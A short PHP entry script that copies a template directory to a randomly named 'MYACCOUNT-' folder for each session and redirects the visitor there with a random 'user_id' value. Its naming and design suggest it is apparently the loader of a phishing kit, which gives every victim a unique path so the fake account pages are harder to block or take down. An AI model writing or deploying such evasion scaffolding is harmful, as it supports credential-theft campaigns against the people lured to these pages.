<?php
session_start();

require 'inc.php';

function recurse_copy($home, $DIR)
{
    $dir = opendir($home);
    @mkdir($DIR);
    while (false !== ($file = readdir($dir))) {
        if (($file != '.') && ($file != '..')) {
            if (is_dir($home . '/' . $file)) {
                recurse_copy($home . '/' . $file, $DIR . '/' . $file);
            } else {
                copy($home . '/' . $file, $DIR . '/' . $file);
            }
        }
    }
    closedir($dir);
}

if (empty($_SESSION['dir_generated']) || realpath($_SESSION['dir_generated']) === false) {
    $DIR = "MYACCOUNT-" . md5(rand(0, 800000));
    recurse_copy("ORIGINAL-e4cd9c09ecbef7f8a3c78de38623d2b0d7b36b49", $DIR);
    $_SESSION['dir_generated'] = $DIR;
}

$randomString = substr(str_shuffle("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 1) . substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 10);
header("location:" . $_SESSION['dir_generated'] . "/?user_id=$randomString");
exit();
